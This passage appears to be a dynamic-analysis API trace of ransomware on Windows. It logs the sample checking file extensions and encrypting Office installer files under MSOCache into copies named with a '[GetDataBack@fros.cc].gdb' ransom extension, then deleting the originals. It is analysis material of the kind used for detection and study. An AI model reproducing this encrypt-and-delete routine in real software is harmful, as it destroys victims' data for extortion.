(lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.645] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0127.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.645] lstrlenW (lpString=".doc") returned 4 [0127.645] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.645] lstrlenW (lpString=".docx") returned 5 [0127.645] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0127.645] lstrlenW (lpString=".pdf") returned 4 [0127.645] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.645] lstrlenW (lpString=".xls") returned 4 [0127.645] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.645] lstrlenW (lpString=".xlsx") returned 5 [0127.645] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0127.645] lstrlenW (lpString=".ppt") returned 4 [0127.645] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.645] lstrlenW (lpString=".zip") returned 4 [0127.645] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.645] lstrlenW (lpString=".rar") returned 4 [0127.646] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.646] lstrlenW (lpString=".bz2") returned 4 [0127.646] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.646] lstrlenW (lpString=".7z") returned 3 [0127.646] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString=".dbf") returned 4 [0127.646] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString=".1cd") returned 4 [0127.646] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString=".jpg") returned 4 [0127.646] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString=".doc") returned 4 [0127.646] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.646] lstrlenW (lpString=".docx") returned 5 [0127.646] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0127.646] lstrlenW (lpString=".pdf") returned 4 [0127.646] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.646] lstrlenW (lpString=".xls") returned 4 [0127.646] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.646] lstrlenW (lpString=".xlsx") returned 5 [0127.646] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0127.646] lstrlenW (lpString=".ppt") returned 4 [0127.646] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString=".zip") returned 4 [0127.646] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.646] lstrlenW (lpString=".rar") returned 4 [0127.646] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.646] lstrlenW (lpString=".bz2") returned 4 [0127.646] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.646] lstrlenW (lpString=".7z") returned 3 [0127.646] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.646] lstrlenW (lpString=".dbf") returned 4 [0127.647] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.647] lstrlenW (lpString=".1cd") returned 4 [0127.647] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0127.647] lstrlenW (lpString=".jpg") returned 4 [0127.647] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.647] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0127.647] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0127.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0127.647] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=868864) returned 1 [0127.647] CloseHandle (hObject=0x204) returned 1 [0127.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0127.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0127.647] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0127.647] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0127.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.648] GetLastError () returned 0x0 [0127.648] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xd4200, lpOverlapped=0x0) returned 1 [0127.665] WriteFile (in: hFile=0x200, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xd4210, lpOverlapped=0x0) returned 1 [0127.913] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0127.913] WriteFile (in: hFile=0x200, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xf4, lpOverlapped=0x0) returned 1 [0127.913] SetEndOfFile (hFile=0x200) returned 1 [0127.914] CloseHandle (hObject=0x200) returned 1 [0127.914] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0127.914] SetEndOfFile (hFile=0x204) returned 1 [0127.922] CloseHandle (hObject=0x204) returned 1 [0127.922] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0127.923] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0127.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.923] lstrlenW (lpString=".doc") returned 4 [0127.923] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.923] lstrlenW (lpString=".docx") returned 5 [0127.923] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0127.923] lstrlenW (lpString=".pdf") returned 4 [0127.923] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.923] lstrlenW (lpString=".xls") returned 4 [0127.923] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.923] lstrlenW (lpString=".xlsx") returned 5 [0127.923] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0127.923] lstrlenW (lpString=".ppt") returned 4 [0127.923] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.923] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString=".zip") returned 4 [0127.924] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.924] lstrlenW (lpString=".rar") returned 4 [0127.924] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.924] lstrlenW (lpString=".bz2") returned 4 [0127.924] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.924] lstrlenW (lpString=".7z") returned 3 [0127.924] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString=".dbf") returned 4 [0127.924] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString=".1cd") returned 4 [0127.924] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString=".jpg") returned 4 [0127.924] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString=".doc") returned 4 [0127.924] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0127.924] lstrlenW (lpString=".docx") returned 5 [0127.924] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0127.924] lstrlenW (lpString=".pdf") returned 4 [0127.924] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0127.924] lstrlenW (lpString=".xls") returned 4 [0127.924] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0127.924] lstrlenW (lpString=".xlsx") returned 5 [0127.924] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0127.924] lstrlenW (lpString=".ppt") returned 4 [0127.924] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0127.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.924] lstrlenW (lpString=".zip") returned 4 [0127.924] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0127.925] lstrlenW (lpString=".rar") returned 4 [0127.925] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0127.925] lstrlenW (lpString=".bz2") returned 4 [0127.925] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0127.925] lstrlenW (lpString=".7z") returned 3 [0127.925] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0127.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.925] lstrlenW (lpString=".dbf") returned 4 [0127.925] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0127.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.925] lstrlenW (lpString=".1cd") returned 4 [0127.925] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0127.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0127.925] lstrlenW (lpString=".jpg") returned 4 [0127.925] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0127.925] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0127.925] lstrlenW (lpString="PidGenX.dll") returned 11 [0127.925] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0127.926] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1463568) returned 1 [0127.926] CloseHandle (hObject=0x204) returned 1 [0127.926] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0127.926] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0127.926] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0127.926] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0127.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.927] GetLastError () returned 0x0 [0127.927] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xffff0, lpOverlapped=0x0) returned 1 [0128.138] WriteFile (in: hFile=0x200, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xffff0, lpOverlapped=0x0) returned 1 [0128.162] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x65520, lpOverlapped=0x0) returned 1 [0128.401] WriteFile (in: hFile=0x200, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x65530, lpOverlapped=0x0) returned 1 [0128.587] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0128.587] WriteFile (in: hFile=0x200, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xea, lpOverlapped=0x0) returned 1 [0128.587] SetEndOfFile (hFile=0x200) returned 1 [0128.705] CloseHandle (hObject=0x200) returned 1 [0128.706] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0128.706] SetEndOfFile (hFile=0x204) returned 1 [0128.731] CloseHandle (hObject=0x204) returned 1 [0128.731] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0128.731] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0128.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.981] lstrlenW (lpString=".doc") returned 4 [0128.981] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.981] lstrlenW (lpString=".docx") returned 5 [0128.981] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0128.981] lstrlenW (lpString=".pdf") returned 4 [0128.981] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.981] lstrlenW (lpString=".xls") returned 4 [0128.981] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.981] lstrlenW (lpString=".xlsx") returned 5 [0128.981] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0128.981] lstrlenW (lpString=".ppt") returned 4 [0128.981] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.981] lstrlenW (lpString=".zip") returned 4 [0128.981] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.981] lstrlenW (lpString=".rar") returned 4 [0128.981] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.981] lstrlenW (lpString=".bz2") returned 4 [0128.981] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.981] lstrlenW (lpString=".7z") returned 3 [0128.981] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.981] lstrlenW (lpString=".dbf") returned 4 [0128.981] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.981] lstrlenW (lpString=".1cd") returned 4 [0128.981] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.982] lstrlenW (lpString=".jpg") returned 4 [0128.982] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.982] lstrlenW (lpString=".doc") returned 4 [0128.982] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString=".docx") returned 5 [0128.982] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0128.982] lstrlenW (lpString=".pdf") returned 4 [0128.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString=".xls") returned 4 [0128.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString=".xlsx") returned 5 [0128.982] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0128.982] lstrlenW (lpString=".ppt") returned 4 [0128.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.982] lstrlenW (lpString=".zip") returned 4 [0128.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString=".rar") returned 4 [0128.982] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0128.982] lstrlenW (lpString=".bz2") returned 4 [0128.982] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0128.982] lstrlenW (lpString=".7z") returned 3 [0128.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0128.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.982] lstrlenW (lpString=".dbf") returned 4 [0128.982] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0128.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.982] lstrlenW (lpString=".1cd") returned 4 [0128.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0128.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0128.983] lstrlenW (lpString=".jpg") returned 4 [0128.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0128.983] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0128.983] lstrlenW (lpString="Office32WW.msi") returned 14 [0128.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0129.330] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1992192) returned 1 [0129.330] CloseHandle (hObject=0x190) returned 1 [0129.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0129.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.330] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0129.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0129.330] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0129.330] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0129.331] ReadFile (in: hFile=0x190, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0129.335] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0129.335] ReadFile (in: 